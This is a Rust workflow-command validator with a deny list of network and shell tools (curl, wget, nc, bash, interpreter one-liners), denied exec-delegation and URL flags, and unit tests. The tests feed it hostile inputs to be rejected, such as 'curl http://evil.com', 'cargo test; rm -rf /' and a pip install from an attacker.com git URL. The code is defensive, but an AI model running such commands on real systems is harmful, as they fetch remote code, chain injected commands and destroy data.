1use anyhow::{bail, Result};
2use super::types::{Workflow, StepType};
3
4const FORBIDDEN_SHELL_CHARS: &[char] = &[';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r', '\t', '*', '?', '[', ']'];
5
6const ALWAYS_DENIED_PREFIXES: &[&str] = &[
10 "curl ", "wget ", "nc ", "ncat ", "netcat ",
11 "bash ", "sh ", "/bin/sh", "/bin/bash",
12 "/usr/bin/curl", "/usr/bin/wget", "/usr/bin/nc", "/usr/bin/ncat",
13 "/usr/bin/bash", "/usr/bin/sh", "/usr/bin/env bash", "/usr/bin/env sh",
14 "/usr/bin/python", "/usr/bin/python3", "/usr/bin/perl", "/usr/bin/ruby",
15 "/usr/bin/env python", "/usr/bin/env python3", "/usr/bin/env perl",
16 "/usr/bin/env ruby", "/usr/bin/env node",
17 "python -c", "python3 -c", "perl -e", "ruby -e",
18 "eval ", "exec ",
19 "go run", "go get", "go install",
20 "cargo run", "cargo install",
21 "go test -exec ", "go build -toolexec ", "go vet -vettool ",
23];
24
25const DENIED_FLAG_SUBSTRINGS: &[&str] = &[
29 " -exec ", " -toolexec ", " -vettool ",
30 " -exec=", " -toolexec=", " -vettool=",
31 " -o ", " -o=", " -o/",
34 " --target-dir ", " --target-dir=",
35 " --out-dir ", " --out-dir=",
36 " --manifest-path ", " --manifest-path=",
37 " --outDir ", " --outDir=", " --declarationDir ", " --declarationDir=",
39 " ..",
41 " http://", " https://", " ftp://", " file://",
43 " git+", " svn+", " hg+",
44];
45
46const ALLOWED_COMMAND_PREFIXES: &[&str] = &[
47 "cargo check", "cargo test", "cargo clippy", "cargo fmt", "cargo build",
48 "npm ci", "npm test",
49 "bun install --frozen-lockfile", "bun test",
50 "npx tsc", "bunx tsc",
51 "pip install -e .", "pip install -r requirements.txt", "pytest", "python -m pytest",
52 "go build", "go test", "go vet",
53 "echo ", ];
58
59const ALLOWED_EXACT_COMMANDS: &[&str] = &[
63 "npm run lint", "npm run check",
64 "bun run lint", "bun run check",
65];
66
67fn command_matches_prefix(command: &str, prefix: &str) -> bool {
72 command == prefix
73 || command.starts_with(&format!("{} ", prefix))
74 || prefix.ends_with(' ') && command.starts_with(prefix)
75}
76
77pub fn validate_workflow(workflow: &Workflow) -> Result<()> {
78 if workflow.stages.is_empty() {
79 bail!("workflow '{}' has no stages", workflow.name);
80 }
81 for stage in &workflow.stages {
82 if stage.steps.is_empty() {
83 bail!("stage '{}' has no steps", stage.name);
84 }
85 for step in &stage.steps {
86 if let StepType::Command { run } = &step.step_type {
87 validate_command_with_allowlist(run, &workflow.allowed_commands)?;
88 }
89 }
90 }
91 Ok(())
92}
93
94pub fn validate_command(command: &str) -> Result<()> {
95 validate_command_with_allowlist(command, &[])
96}
97
98pub fn validate_command_with_allowlist(command: &str, custom_allowlist: &[String]) -> Result<()> {
99 let trimmed = command.trim();
100 if trimmed.is_empty() {
101 bail!("empty command");
102 }
103 if let Some(ch) = trimmed.chars().find(|c| FORBIDDEN_SHELL_CHARS.contains(c)) {
104 bail!("command contains forbidden shell metacharacter: {:?}", ch);
105 }
106 if ALWAYS_DENIED_PREFIXES.iter().any(|p| trimmed.starts_with(p)) {
108 bail!(
109 "command uses a permanently-denied prefix: '{}'",
110 trimmed
111 );
112 }
113 if DENIED_FLAG_SUBSTRINGS.iter().any(|s| trimmed.contains(s)) {
116 bail!(
117 "command contains a denied execution-delegation flag: '{}'",
118 trimmed
119 );
120 }
121 if ALLOWED_EXACT_COMMANDS.iter().any(|cmd| {
126 trimmed.starts_with(&format!("{} ", cmd))
127 }) {
128 bail!(
129 "command '{}' is only permitted as an exact match with no additional arguments",
130 trimmed
131 );
132 }
133 if custom_allowlist.is_empty() {
134 let is_allowed = ALLOWED_COMMAND_PREFIXES
135 .iter()
136 .any(|prefix| command_matches_prefix(trimmed, prefix))
137 || ALLOWED_EXACT_COMMANDS.contains(&trimmed);
138 if !is_allowed {
139 bail!(
140 "command not in allowlist: '{}'. Allowed prefixes: {:?}, exact commands: {:?}",
141 trimmed,
142 ALLOWED_COMMAND_PREFIXES,
143 ALLOWED_EXACT_COMMANDS
144 );
145 }
146 } else {
147 let is_allowed = custom_allowlist
148 .iter()
149 .any(|prefix| command_matches_prefix(trimmed, prefix.as_str()));
150 if !is_allowed {
151 bail!(
152 "command not in repo allowlist: '{}'. Allowed prefixes: {:?}",
153 trimmed,
154 custom_allowlist
155 );
156 }
157 }
158 Ok(())
159}
160
161#[cfg(test)]
162mod tests {
163 use super::*;
164 use crate::workflow::types::*;
165 use std::time::Duration;
166
167 fn make_cmd_step(name: &str, cmd: &str) -> Step {
168 Step {
169 name: name.to_string(),
170 step_type: StepType::Command { run: cmd.to_string() },
171 timeout: Duration::from_secs(60),
172 required: true,
173 changeset_aware: false,
174 }
175 }
176
177 #[test]
178 fn test_valid_commands() {
179 assert!(validate_command("cargo check").is_ok());
180 assert!(validate_command("cargo test --release").is_ok());
181 assert!(validate_command("bun test").is_ok());
182 assert!(validate_command("pytest -v").is_ok());
183 assert!(validate_command("pytest").is_ok());
184 }
185
186 #[test]
187 fn test_pytest_word_boundary() {
188 assert!(validate_command("pytest-exploit").is_err());
190 assert!(validate_command("pytest_exploit").is_err());
191 assert!(validate_command("pytest").is_ok());
193 assert!(validate_command("pytest -v --tb=short").is_ok());
194 }
195
196 #[test]
197 fn test_cargo_target_dir_denied() {
198 assert!(validate_command("cargo build --target-dir /tmp/evil").is_err());
199 assert!(validate_command("cargo build --target-dir=/tmp/evil").is_err());
200 assert!(validate_command("cargo build --out-dir /tmp/evil").is_err());
201 }
202
203 #[test]
204 fn test_go_build_concatenated_output_denied() {
205 assert!(validate_command("go build -o/tmp/evil ./...").is_err());
207 }
208
209 #[test]
210 fn test_tsc_output_dir_denied() {
211 assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
212 assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
213 assert!(validate_command("npx tsc --declarationDir /tmp/evil").is_err());
214 }
215
216 #[test]
217 fn test_go_run_bare_denied() {
218 let custom = vec!["go run".to_string()];
220 assert!(validate_command_with_allowlist("go run", &custom).is_err());
221 assert!(validate_command_with_allowlist("go run ./cmd", &custom).is_err());
222 }
223
224 #[test]
225 fn test_cargo_manifest_path_denied() {
226 assert!(validate_command("cargo build --manifest-path /outside/Cargo.toml").is_err());
228 assert!(validate_command("cargo test --manifest-path=/outside/Cargo.toml").is_err());
229 assert!(validate_command("cargo check --manifest-path /etc/Cargo.toml").is_err());
230 }
231
232 #[test]
233 fn test_rejected_commands() {
234 assert!(validate_command("rm -rf /").is_err());
235 assert!(validate_command("curl http://evil.com").is_err());
236 assert!(validate_command("cargo test; rm -rf /").is_err());
237 assert!(validate_command("cargo test && curl evil").is_err());
238 }
239
240 #[test]
241 fn test_empty_stages_rejected() {
242 let wf = Workflow {
243 name: "bad".into(),
244 timeout: Duration::from_secs(60),
245 stages: vec![],
246 allowed_commands: vec![],
247 };
248 assert!(validate_workflow(&wf).is_err());
249 }
250
251 #[test]
252 fn test_valid_workflow_passes() {
253 let wf = Workflow {
254 name: "good".into(),
255 timeout: Duration::from_secs(60),
256 stages: vec![Stage {
257 name: "checks".into(),
258 parallel: false,
259 steps: vec![make_cmd_step("test", "cargo test")],
260 }],
261 allowed_commands: vec![],
262 };
263 assert!(validate_workflow(&wf).is_ok());
264 }
265
266 #[test]
267 fn test_bad_command_in_workflow_rejected() {
268 let wf = Workflow {
269 name: "bad".into(),
270 timeout: Duration::from_secs(60),
271 stages: vec![Stage {
272 name: "checks".into(),
273 parallel: false,
274 steps: vec![make_cmd_step("evil", "rm -rf /")],
275 }],
276 allowed_commands: vec![],
277 };
278 assert!(validate_workflow(&wf).is_err());
279 }
280
281 #[test]
282 fn test_glob_chars_rejected() {
283 assert!(validate_command("cargo test src/*.rs").is_err());
284 assert!(validate_command("cargo test src/?.rs").is_err());
285 assert!(validate_command("cargo test src/[a-z].rs").is_err());
286 assert!(validate_command("echo /etc/*").is_err());
287 assert!(validate_command("echo ../../*").is_err());
288 }
289
290 #[test]
291 fn test_custom_allowlist_permits_custom_command() {
292 let custom = vec!["eslint".to_string(), "prettier --check".to_string()];
293 assert!(validate_command_with_allowlist("eslint src/", &custom).is_ok());
294 assert!(validate_command_with_allowlist("prettier --check .", &custom).is_ok());
295 }
296
297 #[test]
298 fn test_custom_allowlist_rejects_unlisted_command() {
299 let custom = vec!["eslint".to_string()];
300 assert!(validate_command_with_allowlist("rm -rf /", &custom).is_err());
301 assert!(validate_command_with_allowlist("cargo test", &custom).is_err());
302 }
303
304 #[test]
305 fn test_custom_allowlist_still_blocks_shell_chars() {
306 let custom = vec!["eslint".to_string()];
307 assert!(validate_command_with_allowlist("eslint; rm -rf /", &custom).is_err());
308 }
309
310 #[test]
311 fn test_empty_allowlist_uses_default() {
312 assert!(validate_command_with_allowlist("cargo test", &[]).is_ok());
313 assert!(validate_command_with_allowlist("rm -rf /", &[]).is_err());
314 }
315
316 #[test]
317 fn test_validate_workflow_uses_custom_allowlist() {
318 let wf = Workflow {
319 name: "custom".into(),
320 timeout: Duration::from_secs(60),
321 stages: vec![Stage {
322 name: "lint".into(),
323 parallel: false,
324 steps: vec![make_cmd_step("lint", "eslint src/")],
325 }],
326 allowed_commands: vec!["eslint".to_string()],
327 };
328 assert!(validate_workflow(&wf).is_ok());
329 }
330
331 #[test]
332 fn test_validate_workflow_rejects_unlisted_with_custom_allowlist() {
333 let wf = Workflow {
334 name: "custom".into(),
335 timeout: Duration::from_secs(60),
336 stages: vec![Stage {
337 name: "checks".into(),
338 parallel: false,
339 steps: vec![make_cmd_step("test", "cargo test")],
340 }],
341 allowed_commands: vec!["eslint".to_string()],
342 };
343 assert!(validate_workflow(&wf).is_err());
344 }
345
346 #[test]
347 fn test_always_denied_prefixes_block_even_with_custom_allowlist() {
348 let custom = vec!["curl ".to_string(), "wget ".to_string()];
349 assert!(validate_command_with_allowlist("curl http://example.com", &custom).is_err());
350 assert!(validate_command_with_allowlist("wget http://example.com", &custom).is_err());
351 assert!(validate_command_with_allowlist("bash -c whoami", &custom).is_err());
352 assert!(validate_command_with_allowlist("nc -l 1234", &custom).is_err());
353 assert!(validate_command_with_allowlist("python -c 'import os'", &custom).is_err());
354 }
355
356 #[test]
357 fn test_always_denied_prefixes_block_with_default_allowlist() {
358 assert!(validate_command("curl http://example.com").is_err());
359 assert!(validate_command("wget http://example.com").is_err());
360 assert!(validate_command("bash -c whoami").is_err());
361 }
362
363 #[test]
364 fn test_install_commands_allowed_by_default() {
365 assert!(validate_command("npm ci").is_ok());
366 assert!(validate_command("bun install --frozen-lockfile").is_ok());
367 assert!(validate_command("pip install -r requirements.txt").is_ok());
368 assert!(validate_command("pip install -e .").is_ok());
369 }
370
371 #[test]
372 fn test_env_interpreter_variants_denied() {
373 let custom = vec!["/usr/bin/env python3".to_string()];
374 assert!(validate_command_with_allowlist("/usr/bin/env python3 script.py", &custom).is_err());
375 assert!(validate_command_with_allowlist("/usr/bin/env python script.py", &custom).is_err());
376 assert!(validate_command_with_allowlist("/usr/bin/env perl script.pl", &custom).is_err());
377 assert!(validate_command_with_allowlist("/usr/bin/env ruby script.rb", &custom).is_err());
378 assert!(validate_command_with_allowlist("/usr/bin/env node script.js", &custom).is_err());
379 }
380
381 #[test]
382 fn test_go_commands_allowed_by_default() {
383 assert!(validate_command("go build ./...").is_ok());
384 assert!(validate_command("go test ./...").is_ok());
385 assert!(validate_command("go vet ./...").is_ok());
386 }
387
388 #[test]
389 fn test_go_run_denied() {
390 assert!(validate_command("go run ./cmd/exploit").is_err());
392 let custom = vec!["go run".to_string()];
393 assert!(validate_command_with_allowlist("go run ./cmd/exploit", &custom).is_err());
394 }
395
396 #[test]
397 fn test_go_get_denied() {
398 assert!(validate_command("go get github.com/evil/pkg").is_err());
400 let custom = vec!["go get".to_string()];
401 assert!(validate_command_with_allowlist("go get ./...", &custom).is_err());
402 }
403
404 #[test]
405 fn test_go_install_denied() {
406 assert!(validate_command("go install github.com/evil/pkg@latest").is_err());
408 let custom = vec!["go install".to_string()];
409 assert!(validate_command_with_allowlist("go install github.com/evil/pkg@latest", &custom).is_err());
410 }
411
412 #[test]
413 fn test_npm_bun_run_only_specific_scripts() {
414 assert!(validate_command("npm run lint").is_ok());
416 assert!(validate_command("npm run check").is_ok());
417 assert!(validate_command("bun run lint").is_ok());
418 assert!(validate_command("bun run check").is_ok());
419 assert!(validate_command("npm run exploit").is_err());
421 assert!(validate_command("bun run exploit").is_err());
422 assert!(validate_command("npm run build").is_err());
423 assert!(validate_command("bun run build").is_err());
424 }
425
426 #[test]
427 fn test_npm_bun_run_argument_injection_denied() {
428 assert!(validate_command("npm run lint --flag").is_err());
431 assert!(validate_command("npm run lint /etc/passwd").is_err());
432 assert!(validate_command("npm run check --rulesdir /attacker-path").is_err());
433 assert!(validate_command("bun run lint --flag").is_err());
434 assert!(validate_command("bun run check extra-arg").is_err());
435 }
436
437 #[test]
438 fn test_npm_bun_run_argument_injection_denied_custom_allowlist() {
439 let custom = vec!["npm run lint".to_string(), "bun run check".to_string()];
443 assert!(validate_command_with_allowlist("npm run lint", &custom).is_ok());
444 assert!(validate_command_with_allowlist("bun run check", &custom).is_ok());
445 assert!(validate_command_with_allowlist("npm run lint --rulesdir /attacker-path", &custom).is_err());
447 assert!(validate_command_with_allowlist("bun run check extra-arg", &custom).is_err());
448 }
449
450 #[test]
451 fn test_pip_install_url_schemes_denied() {
452 assert!(validate_command("pip install -e git+https://attacker.com/evil.git").is_err());
454 assert!(validate_command("pip install -r https://attacker.com/reqs.txt").is_err());
455 assert!(validate_command("pip install -r http://attacker.com/reqs.txt").is_err());
456 assert!(validate_command("pip install -e .").is_ok());
458 assert!(validate_command("pip install -r requirements.txt").is_ok());
459 }
460
461 #[test]
462 fn test_cargo_run_and_install_denied() {
463 assert!(validate_command("cargo run --bin exploit").is_err());
464 let custom = vec!["cargo run".to_string()];
465 assert!(validate_command_with_allowlist("cargo run ./cmd", &custom).is_err());
466 assert!(validate_command("cargo install malicious-crate").is_err());
467 }
468
469 #[test]
470 fn test_pip_install_parent_dir_denied() {
471 assert!(validate_command("pip install -e ..").is_err());
473 assert!(validate_command("pip install -e ../other-pkg").is_err());
474 assert!(validate_command("pip install -e .").is_ok());
476 }
477
478 #[test]
479 fn test_go_build_output_flag_denied() {
480 assert!(validate_command("go build -o /tmp/payload ./cmd/exploit").is_err());
482 assert!(validate_command("go build -o=/tmp/payload ./...").is_err());
483 }
484
485 #[test]
486 fn test_go_exec_delegation_flags_denied() {
487 assert!(validate_command("go test -exec /usr/bin/sh ./...").is_err());
489 assert!(validate_command("go build -toolexec ./evil ./...").is_err());
491 assert!(validate_command("go vet -vettool ./evil ./...").is_err());
493 }
494 #[test]
495 fn test_go_build_concatenated_output_flag_denied() {
496 assert!(validate_command("go build -o/tmp/evil ./...").is_err());
498 }
499
500
501 #[test]
502 fn test_tsc_outdir_denied() {
503 assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
505 assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
506 assert!(validate_command("bunx tsc --declarationDir /tmp/evil").is_err());
507 assert!(validate_command("bunx tsc --declarationDir=/tmp/evil").is_err());
508 }
509
510}
511